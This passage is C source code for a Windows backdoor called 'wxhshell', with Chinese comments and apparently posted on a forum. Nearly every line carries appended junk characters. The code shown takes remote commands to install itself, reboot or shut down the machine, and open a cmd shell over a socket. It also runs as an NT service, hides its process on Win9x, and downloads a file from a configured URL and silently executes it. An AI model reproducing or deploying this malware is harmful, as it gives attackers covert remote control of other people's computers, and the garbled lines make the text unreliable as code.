      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,1-n=eTQ  
    break; nqX)+{wAXe  
  } IBYRuaEB  
  // 安装 kaBP& 6|Z  
  case 'i': { q$>/~aVM  
    if(Install()) ,dhSc<:LT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U&W{;myt  
    else >0yx!Iao  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +S!gS|8P  
    break; 6|q\ M  
    } L`v7|!X  
  // 卸载 {Vy2uow0  
  case 'r': { &p>VTD  
    if(Uninstall()) [v7)xV@c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Mj>t(  
    else ^{L/) Xy5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); di^E8egR$  
    break; >s3H_X3F  
    } p$r=jF&  
  // 显示 wxhshell 所在路径 5#Z>}@/  
  case 'p': { i"eUacBz/-  
    char svExeFile[MAX_PATH]; <pAN{:  
    strcpy(svExeFile,"\n\r"); &DnX6%2  
      strcat(svExeFile,ExeFile); t?& a?6:J  
        send(wsh,svExeFile,strlen(svExeFile),0); Oj6PmUK4  
    break; BEn,py7  
    } RzPqtN  
  // 重启 )n8(U%q$  
  case 'b': { n}NO"eF>-s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U Ke!zI  
    if(Boot(REBOOT)) P+tnXT>nE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 83rtQ ;L  
    else { 2D,EWk/4  
    closesocket(wsh); U Ps7{We W  
    ExitThread(0); CxyL'k  
    } NkWU5E!  
    break; R*m=V{iu`  
    } <B,z)c  
  // 关机 pDW4DF:`(  
  case 'd': { 8t{-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]xO`c  
    if(Boot(SHUTDOWN)) !3Xu#^Xxj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,yZvT7  
    else { ?OW!zE:  
    closesocket(wsh); tS1(.CRk  
    ExitThread(0); #=>t6B4af  
    } HvhP9_MB  
    break; LP_w6fjT  
    } AOvn<Q  
  // 获取shell Q?e]N I^  
  case 's': { R?,Oh*  
    CmdShell(wsh); (<|NerwD  
    closesocket(wsh); C_c*21X  
    ExitThread(0); 0~.OMG:=  
    break; (%`R{Y  
  } FH"u9ygF  
  // 退出 LV$@J  
  case 'x': { XMt5o&U1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zUw=e}?:  
    CloseIt(wsh); F=/@D)hND  
    break; gO{XD.s  
    } t-, =sV  
  // 离开 e.8(tEqZ1  
  case 'q': { X- xN<S q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U9uy (KOW  
    closesocket(wsh); @j|B1:O  
    WSACleanup(); zOV.cI6fZz  
    exit(1); fT:a{  
    break; _]g?3Gw7!  
        } s<}d)L(  
  } "JHd F&  
  } y'5 y  
dnZA+Pa  
  // 提示信息 x *p>l !  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jB"?iC.  
} w=ZSyT-i  
  } `V(z z  
n"p|tEK  
  return; =TTk5(m  
} m2j&v$  
Wr3).m52}P  
// shell模块句柄 , [V#o-Z  
int CmdShell(SOCKET sock) &mG1V  
{ +lK?)77f  
STARTUPINFO si; Oa8lrP`(  
ZeroMemory(&si,sizeof(si)); A7|CG[wZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '+@q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; st|;] q9?  
PROCESS_INFORMATION ProcessInfo; "s:eH"_s  
char cmdline[]="cmd"; XN*?<s3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (W=J3 ?hn  
  return 0; LF2@qvwD  
} &p."` C  
?1DA  
// 自身启动模式 l6YToYzE2  
int StartFromService(void) *5kQ6#l  
{ PT`];C(he  
typedef struct C4Tn  
{ sHt PO[h  
  DWORD ExitStatus; GT -(r+u  
  DWORD PebBaseAddress; R<5GG|(B  
  DWORD AffinityMask; 7wO0d/l_  
  DWORD BasePriority; l'~~hQ{h/  
  ULONG UniqueProcessId; *{ =5AW}o  
  ULONG InheritedFromUniqueProcessId; F5*NK!U  
}   PROCESS_BASIC_INFORMATION; \[nvdvJv  
d]kP@flOV  
PROCNTQSIP NtQueryInformationProcess; a\UhOPFF  
` |L l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !I 7bxDzK$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xh7[{n[;  
ftL>oOz[  
  HANDLE             hProcess; 0v~Eu>Rg  
  PROCESS_BASIC_INFORMATION pbi; Oq7R^t`b  
`|[" {j}^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rO_|_nV[  
  if(NULL == hInst ) return 0; gwf *M3(  
%XpYiW#AK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @,Re<%\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R5y+bMZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ))pp{X2m  
{3jV ,S  
  if (!NtQueryInformationProcess) return 0; `I\)Kk@*b9  
\Mujx3Fmvx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K2W$I H:.  
  if(!hProcess) return 0; B\/"$"  
fnZaIV=H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ! uC`7a  
|5ifgSZ  
  CloseHandle(hProcess); k:+Bex$g  
_$W</8 <  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l~Em2@c  
if(hProcess==NULL) return 0; LX i?FQnLu  
) <lpI';T  
HMODULE hMod; WWO@ULGY  
char procName[255]; ][ ,NNXrc&  
unsigned long cbNeeded; Bn[5M [  
cY}Nr#%s@U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U?MKZL7  
mXX9Aa>  
  CloseHandle(hProcess);  qep<7 QO  
L4)@lmd3  
if(strstr(procName,"services")) return 1; // 以服务启动 OMr&f8  
 N+<`Er  
  return 0; // 注册表启动 xk1pZQ8c  
} o9tvf|+z  
3$R^tY2UU  
// 主模块 <lx~/3<m  
int StartWxhshell(LPSTR lpCmdLine) qJ;T$W=NG  
{ STC'j1U  
  SOCKET wsl; ]Z@+ |&@L  
BOOL val=TRUE; HxC_n h  
  int port=0; ^:b%Q O  
  struct sockaddr_in door; ~}SOd<n)|  
[@Db7]nG  
  if(wscfg.ws_autoins) Install(); %H-(-v^T*  
yM3]<~m  
port=atoi(lpCmdLine); bd n{Y  
hBSci|*f  
if(port<=0) port=wscfg.ws_port; (IbT5  
]FJpe^ ua  
  WSADATA data; G(alM=q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z/z(P8#U\  
67uUeCW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a\wpJ|3{=T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $/sQatic  
  door.sin_family = AF_INET; oSb,)k@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (_}w4N#  
  door.sin_port = htons(port); #&Zb8HAj  
%8?s3^ o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t"0Z=`Wi  
closesocket(wsl); );LkEXC_'  
return 1; 2?]NQE9lA  
} 0NY2Kw;  
Y.O/~af  
  if(listen(wsl,2) == INVALID_SOCKET) { YN\!I  
closesocket(wsl); \O"EK~x}/  
return 1; bK)gB!  
} (6C%w)8'  
  Wxhshell(wsl); 0Ey*ci^ue  
  WSACleanup(); LL~bq(b  
wIW]uo/=  
return 0; rYnjQr2a  
q4XS E,  
} LB<,(dyh  
WJG&`PP  
// 以NT服务方式启动 Ns6Vf5T.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ( }DCy23  
{ ZJotg *I  
DWORD   status = 0; 4\%0a,\^  
  DWORD   specificError = 0xfffffff; Nz+Jf57t  
1* _wJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m6P!#=a:l<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QdM&M^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q%u;+/|l  
  serviceStatus.dwWin32ExitCode     = 0; 90%alG 1>y  
  serviceStatus.dwServiceSpecificExitCode = 0; wo;`D  
  serviceStatus.dwCheckPoint       = 0; W/O&(t  
  serviceStatus.dwWaitHint       = 0; W/PZD (  
gA e*kf1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); . bh>_ W_h  
  if (hServiceStatusHandle==0) return; &H!#jh\w  
W s!N%%g  
status = GetLastError(); ER:)Fk>_  
  if (status!=NO_ERROR) ?)9mHo^  
{ ;!(.hCHvr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >$]SYF29  
    serviceStatus.dwCheckPoint       = 0; hSmu"a,S  
    serviceStatus.dwWaitHint       = 0; {`0GAW)q  
    serviceStatus.dwWin32ExitCode     = status; b??k|q  
    serviceStatus.dwServiceSpecificExitCode = specificError; NGHzifaE   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2M>Y3Q2Yv  
    return; >pKu G#  
  } M2ig iR  
n/_cJD \  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pU`4bT(w%  
  serviceStatus.dwCheckPoint       = 0; s9 '*Vm  
  serviceStatus.dwWaitHint       = 0; |C9qM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CErkmod{}e  
} #NM .g  
i)V-q9\  
// 处理NT服务事件,比如:启动、停止 .S&S#}$/]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +>N/q(l  
{ /8baJ+D"4\  
switch(fdwControl) CtwMMZXX3  
{ 4a;8XAl  
case SERVICE_CONTROL_STOP: 9k_3=KS3N  
  serviceStatus.dwWin32ExitCode = 0; B$b'bw.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?U]/4]  
  serviceStatus.dwCheckPoint   = 0; =R)9_D6I  
  serviceStatus.dwWaitHint     = 0; KOWxP47b  
  { rt5UT~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 372ewh3'  
  } mqGp]'{  
  return; $smzP.V  
case SERVICE_CONTROL_PAUSE: 8o~<\eF%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yKEE @@}\  
  break; 9viQ<}K<  
case SERVICE_CONTROL_CONTINUE: $l }MB7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UO}Kk*  
  break; 7>EjP&l  
case SERVICE_CONTROL_INTERROGATE: 28M! G~|  
  break; (6p 5 Fo  
}; XA{ tVh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d [z+/L  
} /OaLkENgvf  
Y3jb 'S4(  
// 标准应用程序主函数 { hUbK+dKZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M:h~;+s  
{ }' `2C$  
b w5|gmO  
// 获取操作系统版本 =rS z>l  
OsIsNt=GetOsVer(); 4f~hd-z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^1U2&S  
%(b`i C9  
  // 从命令行安装 zEJ|;oL  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bsw5A7,-  
6l IFxc  
  // 下载执行文件 o<locZ  
if(wscfg.ws_downexe) { 39?iX'*p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !G3O!]  
  WinExec(wscfg.ws_filenam,SW_HIDE); "2(4?P  
} =x}27f%-Mg  
waXA%u50  
if(!OsIsNt) { S|Wv1H>  
// 如果时win9x,隐藏进程并且设置为注册表启动 rixNz@p'%  
HideProc(); |/zE(ePc{  
StartWxhshell(lpCmdLine); he&*N*of:  
}  Mi.xay%  
else D52ELr7  
  if(StartFromService()) 3]0ETcT  
  // 以服务方式启动 {$4fRxj  
  StartServiceCtrlDispatcher(DispatchTable); Z2`(UbG}  
else cEO g  
  // 普通方式启动  {[o=df/  
  StartWxhshell(lpCmdLine); 31k.{dnm  
Lm"l*j4  
return 0; *nU7v3D  
}
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只看该作者 1 发表于: 2006-10-10
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